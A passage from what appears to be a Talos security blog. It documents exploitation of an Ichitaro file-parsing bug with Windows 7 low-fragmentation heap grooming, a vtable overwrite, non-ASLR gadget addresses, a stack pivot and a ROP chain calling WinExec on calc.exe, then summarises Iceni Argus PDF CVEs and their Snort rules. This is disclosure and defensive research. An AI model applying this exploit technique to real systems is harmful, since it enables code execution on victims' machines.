    After research into the various types of records that the application is able to parse, it was discovered that the Row record has the following properties:

    * Allocates a data structure of size 0x14
    * This element's object does contain a vtable
    * This element's object is destroyed during the parsing of the EOF record by calling its virtual destructor.
    This means that an attacker could construct a file that contains a Row record, a few other specific records to precisely control memory, and then overwrite the Row record's vtable. After this, they can conclude with an EOF record which would call the vtable belonging to the Row record.

    The plan at this point is to position our overwrite from the TxO record before a previously allocated Row object in order to use it to overwrite the Row object's vtable.

    In order to position the attacker controlled element before the Row record, an abuse of the Windows 7 Low-Framentation Heap needs to be performed. A simplified explanation is described below.

    Low-Fragmentation Heap


    Windows 7 organizes its heap relative to the PEB and uses a combination of two allocators. One of which is the backend and the other which is the frontend. The frontend heap is an arena-based allocator known as the Low-Fragmentation Heap (LFH). This is mostly documented in Chris Valasek's paper on the Low-Fragmentation heap: http://illmatics.com/Understanding_the_LFH.pdf

    An important characteristic of the LFH is that allocations are bucketed into chunks that are multiples of 8. Once a heap allocation is made, it's size is divided by 8 and then used to determine which segment to return chunks from. Once the segment is identified, a pointer within the segment will actually point to the arena that chunks of that size are returned from. This would mean that the space allocated for the Row object (0x14) would be rounded up to bucket 0x18. For bucket 0x18, there are 255 slots that are available in the arena.

    Segment

    +-------+-------+--------------------------------+-----------+-------+
    | ... | Arena | AggregateExchg.FreeEntryOffset | BlockSize | ... |
    +-------+-------+--------------------------------+-----------+-------+
    Arena
    +-----------------+-----+-----------+---------+---------+------------+
    | Segment Pointer | ... | Signature | Block 1 | Block 2 | Block X... |
    +-----------------+-----+-----------+---------+---------+------------+
    Another important characteristic of the LFH is that it isn't actually used until the allocations of the target application follow a particular pattern. Until this happens, the allocator will use the backend allocator. To ensure the LFH heap is being used for a particular bucket size, the target application must make 0x12 (18) allocations of the same size. Once this is done, any allocations of that size will then be allocated using the front-end allocator. It was discovered that the Palette record is very flexible and can be used to make arbitrary allocations that are never freed. The steps to enable LFH for a bucket then are:

    * Allocate 0x12 allocations of the same size using the Palette record.
    * Make 255 allocations to force the allocator to allocate a new segment.
    (Note: This can be consolidated into just making 255 - 0x12 allocations.)
    When first allocating a segment, the platform will initialize the segment with an offset into the arena that determines the first chunk that is returned. When the arena for the segment is allocated, each chunk is pre-written with a 16-bit offset (FreeEntryOffset) that represents the offset to the next heap chunk to be returned. When an allocation is made, the 16-bit offset will be read from the beginning of the next free chunk within the arena and stored within the segment. The 16-bit offset in the chunk will then be overwritten as it is part of the allocation requested by the application.

    Arena - Beginning

    +----------------+--------------------+----------------+----------------+
    | Block 1 (Busy) | Block 2 (Free) | Block 3 (Free) | Block X (Free) |
    | Data: ... | FreeEntryOffset: 3 | FEO: 4 | FEO: X+1 |
    +----------------+--------------------+----------------+----------------+

    This way when another allocation is made, the allocator will set the FreeEntryOffset in the segment with the one in the chunk that is being allocated so that during the next allocation it will know the next chunk to return. When allocating a chunk, an atomic swap operation is performed between the offset in the chunk to be returned and the offset that's located within the segment. This prevents concurrency issues when more than one thread is allocating from the same segment/arena.
        State 0 - Beginning
    Next slot: 3
    Offset to Block 3 currently loaded into segment
    v
    +--------------------+--------------------+----------------------+
    | Block 3 (Free) | Block 4 (Free) | Block X (Free) |
    | FreeEntryOffset: 4 | FreeEntryOffset: 5 | FreeEntryOffset: X+1 |
    +--------------------+--------------------+----------------------+
    State 1 - malloc
    Returns slot 3. Loads FreeEntryOffset from Block 3 into segment.
    Next slot: 4
    Now offset to Block 4 is loaded into segment
    v
    +----------------+--------------------+----------------------+
    | Block 3 (Busy) | Block 4 (Free) | Block X (Free) |
    | Data: ... | FreeEntryOffset: 5 | FreeEntryOffset: X+1 |
    +----------------+--------------------+----------------------+
    State 2 - malloc
    Returns slot 4. Loads FreeEntryOffset from Block 4 into segment.
    Next slot: 5
    Offset to Block 5 is loaded into segment
    v
    +----------------+----------------+----------------------+
    | Block 3 (Busy) | Block 4 (Busy) | Block X (Free) |
    | Data: ... | Data: ... | FreeEntryOffset: X+1 |
    +----------------+----------------+----------------------+<
    The offsets are written into the same memory region as the chunk that is returned, so when the chunk is used by the application they will be overwritten by the data that application is storing to the chunk. Due to these offsets being cached inside the free chunks within the arena before an allocation happens, these values can be overwritten tricking the allocator into returning a chunk anywhere in the arena. The TxO record is used to overwrite the offset kept by each chunk in order to trick the allocator to return a slot of the attacker's choosing.

    State 0 - Beginning
    Next slot: 4

    v
    +----------------+--------------------+--------------------+
    | Block 3 (Busy) | Block 4 (Free) | Block 5 (Free) |
    | | FreeEntryOffset: 5 | FreeEntryOffset: 6 |
    +----------------+--------------------+--------------------+

    State 1 - TxO Record
    Returns slot 3. Loads FreeEntryOffset (4) from Block 3 into segment.
    Next slot: 4
    v
    +----------------+------------------+--------------------+
    | Block 3 (Busy) | Block 4 (Busy) | Block 5 (Free) |
    | | Data: TxO Record | FreeEntryOffset: 6 |
    +----------------+------------------+--------------------+

    State 2 - TxO overwrites FreeEntryOffset
    At this point, the FreeEntryOffset for the next block is overwritten with XXX.
    In this example, we'll use 3 to return Block 3

    v
    +----------------+------------------+----------------------+
    | Block 3 (Busy) | Block 4 (Busy) | Block 5 (Free) |
    | | Data: TxO Record | FreeEntryOffset: XXX |
    + + --------------------> |
    +----------------+------------------+----------------------+

    State 3 - malloc
    The allocator will return Block 5 as it was the next block.
    The FreeEntryOffset in Block 5 will be loaded into the segment
    for the next allocation.

    If the TxO record overwrote this value with 3, this would mean Block 3
    would be returned as the next chunk.

    v
    +----------------+------------------+----------------+
    | Block 3 (Busy) | Block 4 (Busy) | Block 5 (Busy) |
    | | Data: TxO Record | Data: ... |
    + + --------------------> |
    +----------------+------------------+----------------+

    State 4 - malloc
    Returns Block 3. The first 16-bit word inside Block 3 will also be loaded
    into the segment.

    +----------------+------------------+----------------+
    | Block 3 (Busy) | Block 4 (Busy) | Block 5 (Busy) |
    | | Data: TxO Record | Data: ... |
    +----------------+------------------+----------------+

    This positions an attacker in an optimal situation for overwriting an object that has been allocated earlier within the process's timeline. The following steps can be used to position the TxO buffer in front of the Row object in order to overwrite its vtable.

        * Use TxO record to make an allocation of size 0x18 to be in the same arena as the Row object.
    * Overflow the TxO record to overwrite the FreeEntryOffset.
    * Allocate a Row object. This forces the overwritten FreeEntryOffset to be loaded into the segment.
    * Allocate another TxO record of the same size which will be positioned in front of the Row object.
    * Overflow the TxO record into the chunk containing the Row object in order to control its vtable.
    After this occurs, parsing the last EOF record will cause the Row object's vtable to be dereferenced in order to call the destructor for the Row object.
        0:000> r

    eax=deadbeeb ebx=ffffffff ecx=045d7d88 edx=0000ffff esi=00127040 edi=00000000
    eip=3f7205c7 esp=00126fdc ebp=00127028 iopl=0 nv up ei pl nz na po nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
    JCXCALC!JCXCCALC_Jsfc_ExConvert+0x9c40b:
    3f7205c7 ff5004 call dword ptr [eax+4] ds:0023:deadbeef=????????
    0:000> .logclose
    0:000> dc ecx
    045d7d88 deadbeeb 64646464 64646464 64646464 dddddddddddddddd
    045d7d98 64646464 64646464 64646464 64646464 dddddddddddddddd
    045d7da8 64646464 64646464 64646464 64646464 dddddddddddddddd
    045d7db8 64646464 64646464 64646464 64646464 dddddddddddddddd
    045d7dc8 64646464 64646464 64646464 64646464 dddddddddddddddd
    045d7dd8 64646464 64646464 64646464 64646464 dddddddddddddddd
    045d7de8 64646464 64646464 64646464 64646464 dddddddddddddddd
    045d7df8 64646464 64646464 64646464 64646464 dddddddddddddddd
    The attacker is now controlling a called function pointer.

    Code Execution


    Looking at the situation at the crash, the attacker has control of a called pointer and the contents of ecx point to an attacker controlled buffer. In order to achieve code execution, a bit of ROP gadget searching must occur to search for a stack pivot. The goal is for the attacker to control EIP as well as have the stack pointing into attacker controlled data. Luckily, the following modules are in the process space and are not affected by ASLR.


    0:000> !py mona mod -cm aslr=false
    --------------------------------------------------
    Module info :
    --------------------------------------------------
    Base || Size | ASLR | Modulename,Path
    --------------------------------------------------
    0x5f800000 || 0x000b1000 | False | [JSFC.DLL]
    0x026b0000 || 0x00007000 | False | [jsvdex.dll]
    0x27080000 || 0x000e1000 | False | [JSCTRL.DLL]
    0x3f680000 || 0x00103000 | False | [JCXCALC.DLL]
    0x22150000 || 0x00018000 | False | [JSMACROS.DLL]
    0x003b0000 || 0x00008000 | False | [JSCRT40.dll]
    0x61000000 || 0x0013b000 | False | [JSAPRUN.DLL]
    0x3c7c0000 || 0x01611000 | False | [T26com.DLL]
    0x23c60000 || 0x00024000 | False | [JSDFMT.dll]
    0x03ad0000 || 0x0000b000 | False | [JSTqFTbl.dll]
    0x40030000 || 0x0002c000 | False | [JSFMLE.dll]
    0x21480000 || 0x00082000 | False | [jsgci.dll]
    0x02430000 || 0x00008000 | False | [JSSPLEX.DLL]
    0x43ab0000 || 0x003af000 | False | [T26STAT.DLL]
    0x217b0000 || 0x0001b000 | False | [JSDOC.dll]
    0x22380000 || 0x0007a000 | False | [JSFORM.OCX]
    0x211a0000 || 0x00049000 | False | [JSTDLIB.DLL]
    0x21e50000 || 0x0002c000 | False | [JSPRMN.dll]
    0x02a80000 || 0x0000e000 | False | [jsvdex2.dll]
    0x277a0000 || 0x00086000 | False | [jsvda.dll]
    0x61200000 || 0x000c6000 | False | [JSHIVW2.dll]
    0x49760000 || 0x00009000 | False | [Jsfolder.dll]
    0x210f0000 || 0x000a1000 | False | [JSPRE.dll]
    0x213e0000 || 0x00022000 | False | [jsmisc32.dll]
    Needless to say, there are an abundance of ROP gadgets available in these modules. The only problem is the attacker can't directly call the ROP gadgets since the vtable entry is a pointer. After compiling a list of ROP gadgets, a search across all of the modules is necessary to see if any of the ROP gadget addresses appear in any of the modules, effectively looking for pointers to the found ROP gadgets. Luckily again, the following gadget emerges.

    file:JSFC.DLL
    JSFC.DLL.gadgets.40
    Gadget:0x5f8170bc : sub esp, 4
    push ebx
    push esi
    mov eax, dword ptr [ecx + 0xa0]
    push edi
    push ebp
    mov esi, ecx
    test eax, eax
    je 0x5f8170ee
    push esi
    call eax
    Simplified
    file:JSFC.DLL
    gadget:0x5f8170bc : mov eax, dword ptr [ecx + 0xa0] ;
    mov esi, ecx
    call eax
    This gadget allows pointer to be dereferenced from the attacker controlled buffer and called directly, allowing for a direct gadget to be called. As a side effect from the first gadget, esi and ecx now point to the same attacker controlled buffer. The following gadget achieves the full stack pivot.

    JSFC.DLL.gadgets.40
    gadget:0x5f83636e : or bh, bh
    push esi
    pop esp
    mov eax, edi
    pop edi
    pop esi
    pop ebp
    ret 0x1c
    ]Simplified
    file:JSFC.DLL
    26051:0x5f83636e : push esi
    pop esp
    ret 0x1c
    The attacker now has full EIP and stack control, allowing for a proper ROP chain to be built.
        0:000> r
    eax=00000000 ebx=ffffffff ecx=04559138 edx=0000ffff esi=62626262 edi=5f86ecc8
    eip=deadbeef esp=0455926c ebp=62626262 iopl=0 nv up ei ng nz na pe nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
    deadbeef ?? ???
    0:000> dc esp
    0455926c 61616161 61616162 61616163 61616164 aaaabaaacaaadaaa
    0455927c 61616165 61616166 61616167 61616168 eaaafaaagaaahaaa
    0455928c 61616169 6161616a 6161616b 6161616c iaaajaaakaaalaaa
    0455929c 6161616d 6161616e 6161616f 61616170 maaanaaaoaaapaaa
    045592ac 61616171 61616172 61616173 61616174 qaaaraaasaaataaa
    045592bc 61616175 61616176 61616177 61616178 uaaavaaawaaaxaaa
    045592cc 61616179 6261617a 62616162 62616163 yaaazaabbaabcaab
    045592dc 62616164 62616165 62616166 62616167 daabeaabfaabgaab
    At this point, the attacker could try to retrieve WinExec by walking the import table of one of the DLLs for an entry into ntdll. From ntdll, an offset can be retrieved into Kernel32. From Kernel32, the offset into WinExec can be retrieved and a direct command can be executed. Or...
        $ r2 -q -c 'ii~WinExec' T26COM.DLL
    ordinal=110 plt=0x3d46c47c bind=NONE type=FUNC name=KERNEL32.dll_WinExec
    ...WinExec could be imported by one of the DLLs already and the attacker can simply use that address instead. A simple ROP chain is compiled to drop the string calc.exe into memory and passed to the WinExec pointer.

    command = ['calc', '.exe', '\0\0\0\0']
    for i,substr in enumerate(command):
    payload += pop_ecx_ret_8 # pop ecx; ret 8
    payload += p32(writable_addr + (i*4)) # Buffer to write the command
    payload += pop_eax_ret # pop eax; ret
    payload += p32(0xdeadbeec) # eaten by ret 8
    payload += p32(0xdeadbeed) # eaten by ret 8
    payload += substr # Current four bytes to write
    payload += write_mem # mov dword [ecx], eax; xor eax, eax; ret
    Once the command string is in memory, dereferencing the WinExec pointer and calling it with the buffer executes the wanted command.
        # Deref WinExec import
    payload += pop_edi_esi_ebx_ret
    payload += p32(winexec-0x64) # pop edi (offset due to [edi + 0x64])
    payload += p32(0xdeadbeee) # eaten by pop esi
    payload += p32(0xdeadbeef) # eaten by pop ebx
    # Call WinExec with buffer pointing to calc.exe
    payload += deref_edi_call # mov esi, dword [edi + 0x64]; call esi
    payload += p32(writable_addr) # Buffer with command
    payload += p32(1) # Display the calc (0 will hide the command output)
    The exploit shown in the video below was built for Ichitaro 2016 v0.3.2612 running on Windows 7.



    Conclusion


    At first glance reports stating that an application does not check that a size value supplied by a specific file format is greater than zero may sound like a bug rather than a vulnerability. We hope that this post goes someway to describe how a very simple omission in program logic may be exploited by an exploit developer to create a weaponized file that can be used to execute arbitrary code on a victim's system.

    The nature of vulnerabilities such as these, and their attractiveness to threat actors is why keeping systems up to date with patches is vital. This is also why Talos develops and releases detection for every vulnerability that we find before we publish the details of the vulnerability.

    Talos is committed to finding software vulnerabilities before the bad guys, and working with vendors in accordance with our responsible vulnerability disclosure policy to ensure that weaponized exploits such as this do not result in system compromise.

    Snort Rules: 40125 - 40126, 41703 - 41704

    Vulnerability Spotlight: Multiple remote code execution vulnerabilities in Iceni Argus PDF Content Extraction affect MarkLogic

    $
    0
    0
    Vulnerability discovered by Marcin ’Icewall’ Noga and a member of the Talos VulnDev team.


    Overview
    Talos has discovered multiple vulnerabilities in Iceni Argus PDF content extraction product. Exploiting these vulnerabilities can allow an attacker to gain full control over the victim's machine. Although the main product is deprecated by Iceni, the library is still supported. Iceni has released a patched version that addresses these vulnerabilities. Nevertheless, the library is widely used; MarkLogic is an example of a product that uses Iceni Argus for PDF document conversion as part of their web based document search and rendering.

    Details
    MarkLogic’s conversion tool uses the Argus PDF library from Iceni, in which we have identified the vulnerabilities described below:

    TALOS-2016-0210 / CVE-2016-8385, occurs when a user tries to convert a malicious PDF to XML that uses malformed colors. A returned pointer is left uninitialized which leads to a stack based buffer overflow later on. This can lead to code execution under the context of the local user.

    TALOS-2016-0211 / CVE-2016-8386 is a heap-based buffer overflow that happens if there is a specially crafted truetype font file embedded inside the PDF and the user tries to convert this PDF to XML. The malicious font can lead to a condition where a buffer is initialized with insufficient size. This can lead to an overflow condition later on which can be used to execute code under the context of the local user.

    TALOS-2016-0212 / CVE-2016-8387 is a heap-based buffer overflow in the LZW decoder. Due to a lack of bounds checkings, it is triggered if a user tries to convert a malformed PDF which includes an object encoded with multiple encoding types terminated with an LZW type. This can lead to code execution under the context of the local user.

    TALOS-2016-0213 / CVE-2016-8388 describes an arbitrary heap-overwrite vulnerability in Iceni Argus. The unchecked trust in an index within a malicious font enables an attacker to write outside the bounds of a specified array. This can lead to code execution under the context of the local user.

    TALOS-2016-0214 / CVE-2016-8389 describes an integer overflow that occurs when the tool tries to convert text from a PDF into a polygon. When the application attempts to initialize the polygon shape, it writes outside of the bounds of a buffer which was initialized with a too small size due to the integer overflow. This can lead to a heap-based buffer overflow when the tool tries to fill the polygon. An attacker can use this to execute code under the context of the local user.

    Talos-2016-0228 / CVE-2016-8715 concerns a heap corruption vulnerability which can be used for arbitary code execution. A specially created PDF file that includes a /Size key either set to be negative or larger than a certain value will allow the attacker to write to already initialised portions of the heap. An attacker can use this to cause malicious code to be executed in the context of the local user.


    Coverage
    The following Snort Rules will detect exploitation attempts of this vulnerability. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or Snort.org

    Snort rules: 40917-40926 & 40872-40875 & 41327,41328
    Viewing all 353 articles
    Browse latest View live